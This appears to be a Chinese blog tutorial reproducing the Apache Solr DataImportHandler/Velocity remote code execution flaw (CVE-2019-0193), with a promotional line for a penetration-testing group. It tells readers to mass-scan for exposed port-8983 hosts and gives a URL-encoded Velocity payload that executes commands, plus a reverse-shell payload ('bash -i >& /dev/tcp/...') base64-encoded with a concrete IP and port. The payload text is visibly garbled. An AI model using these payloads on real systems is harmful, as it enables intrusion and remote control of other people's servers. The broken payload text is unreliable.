Apache Solr远程代码执行漏洞 (CVE-2019-0193)复现操作

渗透学习交流群:773617250,进群免费领取课程,群定定期直播,可与讲师进行互动。

一. 漏洞描述

2019年11月16日,Apache官方发布Apache Solr远程代码执行漏洞(CVE-2019-0193)安全通告,此漏洞存在于可选模块DataImportHandler 中,DataImportHandler是用于从数据库或其他源提取数据的常用模块,该模块中所有DIH配置都可以通过外部请求的dataConfig参 数来设置,由于DIH配置可以包含脚本,因此该参数存在安全隐患。攻击者可利用dataConfig参数构造恶意请求,实现远程代码执行,请相关用户尽快升级Solr至安全版本,以确保对此漏洞的有效防护。

二. 复现操作

  1. 批量搜一下开了8983端口的主机
    在这里插入图片描述

  2. 访问目标主机,找到漏洞的位置,点到 core selector那个按钮,burp抓包拦截
    在这里插入图片描述
    在这里插入图片描述

  3. 发送到repeater,把上图请求的admin 改为item(这里注意对应的模块),后面再加config 查看是否有其配置文件,如果没有配置文件,则说明可能目标不存在这种漏洞,这也是一种检测方式?
    在这里插入图片描述

  4. 因为该漏洞所影响的模块可以利用外部的请求来修改,所以利用恶意的请求payload去修改配置,修改了配置过后,就导致可以执行恶意的脚本,从而发起带有恶意代码的请求。
    在这里插入图片描述

  5. 修改了配置过后,便可以带上恶意脚本的请求去发起访问了,从而导致了远程代码执行,请求路径内容如下图
    payloadselect?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set( x = x=%27%27)+%23set( x=rt= x . c l a s s . f o r N a m e ( x.class.forName(%27java.lang.Runtime%27))+%23set( x.class.forName(chr= x . c l a s s . f o r N a m e ( x.class.forName(%27java.lang.Character%27))+%23set( x.class.forName(str= x . c l a s s . f o r N a m e ( x.class.forName(%27java.lang.String%27))+%23set( x.class.forName(ex= r t . g e t R u n t i m e ( ) . e x e c ( rt.getRuntime().exec(%27pwd%27))+ rt.getRuntime().exec(ex.waitFor()+%23set( o u t = out= out=ex.getInputStream())+%23foreach( i + i n + [ 1.. i+in+[1.. i+in+[1..out.available()]) s t r . v a l u e O f ( str.valueOf( str.valueOf(chr.toChars($out.read()))%23end
    在这里插入图片描述

  6. 远程代码执行成功

  7. 反弹shell payload:
    linux 反弹shell命令 bash -i >& /dev/tcp/ip/port 0>&1 (至于payload中为什么要base64编码不太清楚…)
    http://ip 8983/solr/item/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set( x = x=%27%27)+%23set( x=rt= x . c l a s s . f o r N a m e ( x.class.forName(%27java.lang.Runtime%27))+%23set( x.class.forName(chr= x . c l a s s . f o r N a m e ( x.class.forName(%27java.lang.Character%27))+%23set( x.class.forName(str= x . c l a s s . f o r N a m e ( x.class.forName(%27java.lang.String%27))+%23set( x.class.forName(ex= r t . g e t R u n t i m e ( ) . e x e c ( rt.getRuntime().exec(%27bash+-c+%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMS4yMDMuMi4yMTgvMTIzNCAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%27))+ rt.getRuntime().exec(ex.waitFor()+%23set( o u t = out= out=ex.getInputStream())+%23foreach( i + i n + [ 1.. i+in+[1.. i+in+[1..out.available()]) s t r . v a l u e O f ( str.valueOf( str.valueOf(chr.toChars($out.read()))%23end

三. 漏洞特征:

端口:8983,http
路径:/solr/item/config

四. 影响范围

受影响版本 :
Apache Solr < 8.2.0

                                                  BY易锦教育渗透讲师马丁
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值